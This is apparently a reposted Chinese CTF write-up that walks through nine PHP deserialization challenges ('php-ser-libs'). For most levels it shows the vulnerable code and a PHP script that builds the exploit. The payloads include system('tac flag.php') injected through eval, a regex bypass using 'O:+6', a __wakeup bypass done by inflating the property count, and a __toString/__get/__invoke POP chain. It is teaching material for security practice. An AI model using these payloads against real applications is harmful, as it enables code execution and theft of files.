news 2026/3/1 1:54:40

CTF+ 反序列化php-ser-libs-level1~9

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF+ 反序列化php-ser-libs-level1~9
1. php-ser-libs-level1

题目代码

<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); class a{ var $act; function action(){ eval($this->act);//关键点 } } $a=unserialize($_GET['flag']); $a->action(); ?>

构造:

<?php class a{ var $act; } $a=new a(); $a->act="system('tac flag.php')"; echo urlencode(serialize($a)); ?>

执行成功就可以得到flag

2. php-ser-libs-level2

在php4中var是用来声明类的属性(成员变量),等同于php5中的public

<?php include("flag.php"); highlight_file(__FILE__); include("flag.php"); class mylogin{ var $user; var $pass; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){//这是关键点,要将daydream赋值给user,将ok赋值给pass return 1; } } } $a=unserialize($_GET['param']); if($a->login()) { echo $flag; } ?>

构造:

<?php class mylogin{ public $user; public $pass; } $a=new mylogin(); $a->user="daydream"; $a->pass="ok"; echo urlencode(serialize($a)); ?> 运行结果:O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D

运行成功后得到flag

3. php-ser-libs-level3

题目代码

<?php include("flag.php"); highlight_file(__FILE__); include("flag.php"); class mylogin{ var $user; var $pass; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){ return 1; } } } $a=unserialize($_COOKIE['param']);//传参方式为cookie传参 if($a->login()) { echo $flag; } ?>

执行的payload和上题一样

4. php-ser-libs-level5
<?php class secret{ public $file='index.php'; public function __construct($file){ //构造函数,创建对象时设置file属性 $this->file = $file; } public function __destruct(){ //析构函数,对象销毁时自动调用 include($this->file);//关键点,包含指定文件 if($flag != null){ //这里是检查包含文件后是否存在$flag变量 echo "<br>flag: ".$flag; }else{ echo "sorry, flag not found"; } } public function __wakeup(){//wakeup方法,反序列化时立即调用 $this->file='fakeflag.php';//执行后会将file属性重置为‘fakeflag.php’,这就需要进行绕过 } } $cmd=$_GET['cmd']; if (!isset($cmd)) echo show_source(__FILE__); else { if (preg_match('/[oc]:\d+:/i',$cmd)){//正则过滤:过滤了序列化开头的固定格式,且不区分大小写 echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //secret in flag.php ?>

(preg_match('/[oc]:\d+:/i',$cmd)){ 过滤了序列化开头的固定格式

举个例子:

对象序列化:O:8:"ClassName" 中的 O:数字,自定义序列化:C:8:"ClassName" 中的 C:数字,这个可以利用O:+数字进行绕过

接着是绕过wakeup方法,这里要绕过_wakeup()方法,当序列化字符串中表示的对象属性数量大于实际类的属性数量时,__wakeup() 方法不会被调用,所以将1改成2进行绕过

然后就是进行url编码

<?php class secret{ public $file; } $a=new secret(); $a->file="flag.php"; $b=serialize($a); //O:6:"secret":1:{s:4:"file";s:8:"flag.php";} $c=str_replace(':6',':+6',$b); $c = str_replace('1:{', '2:{', $c); echo urlencode($c); ?> 执行结果:O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

得到flag

5. php-ser-libs-level6

题目代码

这里是设置了一个私有属性$comm,用于存储命令,私有属性不能再类的外部直接进行访问

<?php class secret{ private $comm = "system('ls');";//system('cat flag.php'); } $a= new secret(); echo urlencode(serialize($a)); ?>

读取flag成功后,flag在源代码中

6. php-ser-libs-level7

题目代码:

<?php include("flag.php"); highlight_file(__FILE__); class you { private $body; //私有属性,用于存储对象 private $pro=''; //私有属性,用于存储方法名 function __destruct()//析构函数,对象销毁时自动调用 { $project=$this->pro; $this->body->$project();//触发my类中的call方法 } } class my { public $name; function __call($func, $args)//call方法,当调用不存在的方法时触发,you类中的$project()是一个不存在的方法 { if ($func == 'yourname' and $this->name == 'myname') { //if语句判断,检查方法名是否为yourname,name属性是否为myname include('flag.php'); echo $flag; } } } $a=$_GET['a']; unserialize($a); ?>

解题思路:

设置you->body为my对象,去触发my类,设置pro为yourname,在my类中设置name=myname

<?php class you { private $body; private $pro = 'yourname'; function __construct(){ //每次创建新对象时先调用此方法 $this->body=new my(); } } class my { public $name = 'myname'; } $a=new you(); echo urlencode(serialize($a)); ?>

7. php-ser-libs-level8

题目代码:

<?php include("flag.php"); highlight_file(__FILE__); function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param=$_GET['param']; $profile=unserialize(filter($param)); if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); } ?>

非预期:

让pass的值直接等于escaping来执行if判断,输出flag

<?php class test{ var $user; var $pass; } $a=new test(); $a->pass='escaping'; echo urlencode(serialize($a)); ?>
8. php-ser-libs-level9

题目代码:

<?php //flag is in flag.php include("flag.php"); highlight_file(__FILE__); class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ //__invoke魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种) $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ //当对象被当成字符串的时候进行调用 return $this->str->source; } public function __wakeup(){ //反序列化执行时立即调用,这是入口点 echo $this->source; } } class Test{ public $p; public function __construct(){ //构造函数,每次创建新对象时先调用此方法 $this->p = array(); } public function __get($key){ //当从不可访问的属性读取数据时触发 $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>

代码分析:首先从__wakeup()触发,在Show类中__wakeup()中的echo $this->source触发Show类__toString()方法,在Show类中的$this->str->source会触发Test类中的__get()方法,Test类中__get()中$function()触发__invoke(),然后__invoke()调用append()包含flag.php

该题中的__wakeup()方法正是我们需要的入口点,而不是需要绕过的障碍,所以不需要进行绕过wakeup方法

<?php class Modifier{ private $var="flag.php"; public function __construct() { //这是私有属性,不能再外部进行访问,所以在类里面进行访问 $this->var = "flag.php"; } } class Show{ public $source; public $str; } class Test{ public $p; } $a=new Modifier; $b=new Show; $c=new Test; $b->source=$b; $b->str=$c; $c->p=$a; echo urlencode(serialize($b)); ?> 执行结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/27 19:19:53

Linux 字符设备驱动中 “主次设备号的静态 / 动态分配” 实验

这个实验是Linux 字符设备驱动中 “主次设备号的静态 / 动态分配” 实验&#xff0c;核心是验证 “手动指定设备号” 和 “内核自动分配设备号” 两种方式&#xff0c;步骤如下&#xff1a;一、环境准备和之前的信号量实验一致&#xff1a;安装对应架构的交叉编译工具链&#x…

作者头像 李华
网站建设 2026/2/28 0:56:17

Java毕设项目推荐-基于Spring Boot与MySQL的二手车销售管理系统的设计与实现基于Java和Spring Boot的二手车交易系统设计与实现【附源码+文档,调试定制服务】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/2/27 18:34:14

告别千篇一律:软文推广如何打造独特“新鲜感“?

在这个内容饱和的时代&#xff0c;软文同质化已成为品牌传播的首要障碍。新鲜感并非单纯的标新立异&#xff0c;而是一种系统性的内容创新思维——它要求我们突破既定的行业话语体系&#xff0c;以更深层的洞察、更本质的表达和更开放的互动&#xff0c;与受众建立全新的价值连…

作者头像 李华
网站建设 2026/2/27 17:32:28

有没有什么好办法让孩子坚持调节训练呢?

你是不是也跟很多家长一样&#xff0c;明明知道眼部调节训练能有效降低孩子近视的风险&#xff0c;却总被“孩子坚持不下来”的问题难住&#xff1f;要么是传统的“眼随手指前后移动”训练太枯燥&#xff0c;孩子坐几分钟就不耐烦&#xff1b;要么是需要专门抽时间&#xff0c;…

作者头像 李华
网站建设 2026/2/26 22:05:28

基于django+Vue的就业求职招聘信息平台

目录已开发项目效果实现截图关于博主开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;已开发项目效果实现截图 同行可拿货,招校园代理 ,本人源头供货商 基于djangoVue的就业求职招聘信息平台…

作者头像 李华